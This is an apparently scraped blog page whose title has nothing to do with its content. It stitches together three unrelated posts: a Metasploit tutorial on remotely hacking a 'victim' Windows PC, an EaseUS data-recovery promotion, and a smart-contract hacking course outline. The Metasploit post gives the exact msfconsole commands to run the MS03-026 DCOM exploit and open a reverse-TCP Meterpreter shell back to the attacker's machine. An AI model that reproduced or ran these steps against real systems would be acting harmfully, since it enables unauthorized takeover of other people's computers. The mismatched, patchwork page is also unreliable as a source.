Where is Cal Poly Pomona

dish desai

Metasploit is an advanced hacking tool that comes itself with a complete lack of advanced penetration testing tools. Penetration testers and hackers are taking so much advantage of this tool. It's a complete hack pack for a hacker that he can play almost any attack with it. I am not covering attacks in this article but I am going to share about how to hack a PC remotely with Metasploit. It's not so complicated if you pay attention to. It just needs a better understanding of each step you're performing. Let's move on how to do it.

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

Before getting started, make sure you have all the following things required to hack a PC remotely with Metasploit.

Linux Machine (Kali Linux or BackTrack 5)
Metasploit (Built in the mentioned Linux OS)
Windows PC victim

STEPS TO FOLLOW

Let's move on how to perform the complete attack.

Start your Linux OS and open up Nmap and run a scan for your victim remote server. Like we have our victim on remote server 192.168.42.129. It will show up the range of all open ports of the victim machine as you can see below.
We can see the open port here is 135. So, now we go to Metasploit and try to exploit and gain access to it. To open up, navigate to Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > msfconsole.
After the initialization of msfconsole, standard checks, we will see the window like below.
Now, as we already know that our port 135 is open so, we search for a related RPC exploit in Metasploit. You can check out all the exploit list supported by Metasploit by using command 'show exploits'.
Now to activate an exploit, type the "use " with the exploit name like "use exploit/windows/dcerpc/ms03_026_dcom".
As we're in our required exploit environment, we need to configure the exploit according to our scenario. To check out the list of all the available options of an exploit, we can use command "show options". As we already know about the open port RPORT is 135. So, we just need to set our RHOST which we can set simply using the "set RHOST" command. Just type "set RHOST 192.168.42.129" and it's done.
Now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the "show payloads" command.
Every payload can be used for a different scenario. In our case, we are using the reverse TCP meterpreter which can be set using the command, "set PAYLOAD windows/meterpreter/reverse_tcp" for remote shell and then use "show options" command to view the options for it.
Here we notice LHOST for out payload is not set, so we set it out to our Public IP i.e. 192.168.42.128 using the command "set LHOST 192.168.42.128".
Now exploit is configured and ready to launch. Now simply use "exploit" command to launch the attack. If exploit is executed successfully, we will see the message like below.
Now that a reverse connection has been set up between the victim and our machine, we have complete control of the server. To find out all the commands to play with the victim machine, we can use the "help".

We have successfully gained access to a remote PC with Metasploit. That's all how to hack a PC remotely with Metasploit. Hope it will work for you.

Related word

Read More :- "HOW TO HACK A PC REMOTELY WITH METASPLOIT?"

dish desai

How To Recover Files That Are Deleted From Recycle Bin

Well, Windows users have a bad habit of removing files from recycle bin. Deleting useless files from Recycle Bin helps a user to save some storage space which can improve the speed of a computer. However, Windows users do that more frequently and later regret. Actually, Recycle Bin is a place from where we can get back our deleted files and folders.

Sometimes, we accidentally delete our important files and folders and due to some reason we lose them from Recycle bin too! At that time, we search for recovery methods. Well, there are many methods available over the web which can help you to recover deleted files from computer, but, when it comes to reliability, nothing can beat EaseUS.

What Is EaseUS Data Recovery Wizard?

EaseUS is one of the leading software providers which is known for its data recovery programme. EaseUS offers some free data recovery software that can help you to recover deleted, formatted or lost data from PC, laptop or removable device easily and quickly.

One of the best thing about EaseUS is that it provides tools for recycle bin recovery which can help you to get back files that you have deleted from the Recycle bin itself. EaseUS Data Recovery Wizard free can easily recover lost files, pictures, documents, videos and more from deleting, formatting, partition loss, OS crash, virus attack and other data loss cases.

How To Recover Deleted Files?

If you are struggling to get back your lost data files, then here is an easy data recovery method which will help you to get back deleted files on your computer. Below, we are going to share a mini guide on how to use EaseUS Recycle Bin Recovery to get back your deleted data.

Step 1. First of all, you need to download and install EaseUS Data Recovery Wizard on your Windows computer and then launch it normally. You need to select the location where you want to scan and then click on 'Scan'

Step 2. Now, wait for few minutes until the tool finishes scanning your drive. The tool search for files that got deleted or cleaned from the Recycle Bin.

Step 3. Now it will show you files that you can recover. Here you need to click on the file which you want to recover and click on 'Recover'

That's it, you are done! This is how you can use EaseUS data recovery to get back your deleted files on your computer.

Benefits of EaseUS Data Recovery

Well, the data recovery tool provided by EaseUS comes with many benefits. It can not only recover accidentally deleted files, but it can also recover data in case of Virus Attacks, Hard Disk Damage, OS Crash etc.

You can also use this awesome data recovery wizard to recover deleted files from External Disk, USB Drive, Camcorder, Mobile Devices, Zip Drive, iPod, Music Player and more.

Overall, this is one of the best data recovery tools you can have on your Windows computer. EaseUS Data Recovery also has a free version with restricted features. Overall, this is a stress-free solution to get back your deleted files

Smart Contract Exploitation and Hacking Course Announcement

What Is this:

For those who have been hitting me up on twitter and YouTube for more blockchain smart contract exploitation content this blog is for you. I have posted a video below explaining what this is and included a course outline of the content we are providing free for everyone. I was actually told recently that I am crazy for giving out this level of detailed content and training for free.. However, I believe in the original hacker ethic code from long ago, that information should be freely available for everyone!! In this frame of mind, the only pay for content will be if you wish to go the extra mile. For the person who wants to prove to themselves or others that they learned something via a certification package with detailed exam prep targets and guides, followed by a final exam CTF and reporting write-up.

So I hope you enjoy this content. The content and walk through labs will be all free. This content will be posted regularly over the next few months 90% of it is already written and ready to go.

We will start off with the differences between Solidity and other languages and do a quick coding overview before we start hacking. This way everyone is on the same page when we start looking at coding examples of vulnerable targets or reviewing case study code. Then we will cover a wide range of typical issues that effect decentralized applications(DApps) and smart contracts on the Ethereum blockchain. How to spot them and exploit them with full walk-through style learning. Subjects we have already released (Re-Entrancy, Integer Attacks, Authorization) have been updated with new code, new examples, and case studies etc. Some of the learning content will be the same but with a lot of newly added content. And in the case of Authorization completely re-written and expanded on.

Basically this course was created to get the information out there in a clear concise way. Because when I started researching blockchain hacking all I found was a paragraph here and there on something that was overly technical or completely theoretical. I couldn't find any clear concise learning or examples. This drove me nuts trying to figure everything out, until I gave up and just coded my own vulnerabilities and hacked them. So hopefully this fills the knowledge gap to offer a clear and concise, Zero Fluff resource to those on the same path.

CTF Exam:

If you do enjoy this series over the next few months and want to challenge your skills and certify that you learned something we will be also offering pay for certification bundle that includes Decentralized Application (DApp) targets and detailed lab guides as preparation for a final exam against a more comprehensive CTF certification challenge target. More info on this as the months progress.

Bug Bounty of Sorts:

These labs are completed but we are working on a way to deliver the content which requires me to code up a course delivery software. So feel free to hack the course delivery software once its up, if you break in or bypass authorizations I will give you the full course for free provided you help me fix it. :P

Pre- Requisites:

This is more of a intermediate / advanced course with a white box code approach to bug hunting and a dynamic approach to application hacking and exploiting targets, with that said you will need the following pre-requisites:

Ability to code in some language and understanding of coding concepts.
Application hacking or development background with firm understanding of vulnerabilities

Contact Info:

As this is free, I only ask that you provide constructive feedback as we are creating other more advanced hacking courses on random subjects we are interested in. Most of which will be free. And feedback helps us not do things which are not useful and integrate new ideas where they make sense.

Cheers and I hope this finds you well.

Twitter:

Email:

info@cclabs.io

WebPage:

Course Outline / Release Order:

Orange = = Whats included additionally for the full course

Blue = = What will be released free in blogs / videos

(Mostly every Mondays) over the next few months

Building and Scoping Things

Chapter 1: Cliff Notes on Blockchain

Intro:

What is a Blockchain and how is it secured

Smart Contracts

What is a Decentralized Application (DApp)?

Diving into Blockchain Components:

Distributed Vs Decentralized

Provenance Use Case:

Consensus and Mining:

Hands on Lab - Blockchain Consensus walkthrough Lab

Summary:

References:

Chapter 2: Threat Modeling and Scoping Engagements

Architecture Considerations:

Business Logic Locations and Technology Decisions

Development Environments

Threat Modeling

Summary

References:

Chapter 3 – Solidity for Penetration Testers Part 1 (Hello World)

About Solidity

Hands on Lab - Remix interface overview

Structure of a Smart Contract

Hands on Lab – HelloWorld

Summary

References:

Chapter 4 – Solidity for Penetration Testers Part 2

Beyond Hello World

Hands on Lab – Code HelloWorld bank

Code Level Walk Through of HelloWorld Bank

Checks Effects Interactions:

Summary

Part 2: Hacking and Exploiting Things

Chapter 5 - Glass Half Full or Glass Half Empty: Integer Attacks

Underflows and Overflows

Withdraw Function Vulnerable to an underflow

Transfer Function Vulnerable to a Batch Overflow

Batch Overflow Code Explanation:

ERC20 Batch Overflow Case-Study

Walkthrough of The Vulnerable Function

Reviewing the Real Attack Transaction

Hands on Lab - Exploiting Our Own ERC20 Batch Overflow

Hands on Lab - Fixing the ERC20 Overflow

Exam Prep - DApp Target + Detailed Lab Guide

Hands on Lab -Safe Math Walk Through

Integer Attacks Summary

Integer Attacks References

Chapter 6 - You Again: Leveraging Reentrancy Attacks

Reentrancy Intro

Checks Effects Interactions Pattern

Simple Reentrancy Example Code

Passing the Checks:

Looping the Interaction:

Updating the Effects:

Attacking Code Example:

Hands on Lab - Attacking a Simple Reentrancy

Hands on Lab - Fixing the Checks Effects interaction Pattern

Send vs Transfer Vs Call.Value

Case Study – The Dao Hack

Exam Prep - DApp Target + Detailed Lab Guide

Reentrancy Summary

Reentrancy References

Chapter 7 Do You Have a Hall Pass: Access Control Attacks

Understanding Smart Contract Authorization and Visibility

Visibility:

Simple Visibility Example:

Implementing Authorization:

Example Walk-through of No Authorization

Thinking about Smart Contracts as unpublished API's for DApps

Case of the Video Game Heist

Enumerating functions in a contract

Hands on Lab - Directly Calling Public Functions with Web3

Hands on Lab - Example Fix with Simple Authorization

Exit Scam Warning

Hands on Lab - Example Fix-2 Using Modifiers for Simple Authentication

Hands on Lab - Example Using Openzeppelin for Role Based Access Control

Exam Prep - DApp Target + Detailed Lab Guide

Authorization Summary:

Authorization References

Chapter 8 - Dude Where's My Data: Storage Vs Memory Attacks

Intro - Not Written Yet – Up Next

Code Example - Not Written Yet – Up Next

Case study? - Not Written Yet – Up Next

Exploiting vulnerability - Not Written Yet – Up Next

Summary - Not Written Yet – Up Next

References - Not Written Yet – Up Next

Chapter 9 - Do I know you: TxOrigin vs Message.sender Attacks

What's the difference?

Man In the Middle Via tx.origin

Hands on Lab - Simple tx.origin Example Walkthrough

Hands on Lab - Vulnerable TX.Origin Example Walkthrough

Exam Prep - DApp Target + Detailed Lab Guide

Action steps to familiarize yourself with the contract:

Attack Options:

Summary

References

Chapter 10 - Who Am I: Delegate Call Attacks

How delegate calls work:

Delegate Call vs Call

Simple Delegate Call Example Code

Simple Delegate Code Example Walkthrough

Hands on Lab - Simple Delegate Example Walkthrough

Variable Memory Issues with Delegate Calls

DelegateCall Storage Simple Example Code

Hands on Lab - DelegateCall Storage Walkthrough

Exam Prep - DApp Target + Detailed Lab Guide

Case Study - Parity Wallet Attack:

Attack Transactions Explained

Dangerous fallback function using delegatecall

The Parity Wallet Code

Delegate Chapter Summary

Delegate References:

Chapter 11 - Look into My Crystal Ball: Bad Randomness Issues

Cryptographic Implementations and Predictable PRNGs

Simple BlockHash Example

Hands on Lab - BlockHash Vulnerability Walk and Talk

Exam Prep - DApp Target + Detailed Lab Guide

Preventing Randomness Issues

Bad Randomness Summary

Bad Randomness References

Chapter 12 - Automated Static Application Security Testing

Content - Not written - Up Next

Hands On Lab - Not written - Up Next

Summary Not written - Up Next

References - Not written - Up Next

Chapter 13 - CTF Exam

Final Exam and CTF Certification Exam Target

Final Exam Reporting

Appendices:

Appendix I – Pre-Requisite Suggestions:

Programming Pre-Requisites:

Web Application Hacking Pre-Requisites:

Appendix II – Other Blockchain Learning Resources and Certifications

Appendix III – Non-Exhaustive Scoping Questions

Appendix IV – Non-Exhaustive List of things to check for

More information

Read More :- "Blockchain Decentralized Application Hacking Course - A Journey Into Smart Contract Hacking And DApp Penetration Testing (Web 3.0)"

Where is Cal Poly Pomona

Friday, 2 June 2023

HOW TO HACK A PC REMOTELY WITH METASPLOIT?

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

STEPS TO FOLLOW

Related word

Thursday, 1 June 2023

How To Recover Files That Are Deleted From Recycle Bin

How To Recover Files That Are Deleted From Recycle Bin

What Is EaseUS Data Recovery Wizard?

How To Recover Deleted Files?

Benefits of EaseUS Data Recovery

Related links

Blockchain Decentralized Application Hacking Course - A Journey Into Smart Contract Hacking And DApp Penetration Testing (Web 3.0)

Smart Contract Exploitation and Hacking Course Announcement

What Is this:

CTF Exam:

Bug Bounty of Sorts:

Pre- Requisites:

Contact Info:

Course Outline / Release Order:

Orange = = Whats included additionally for the full course

Blue = = What will be released free in blogs / videos

(Mostly every Mondays) over the next few months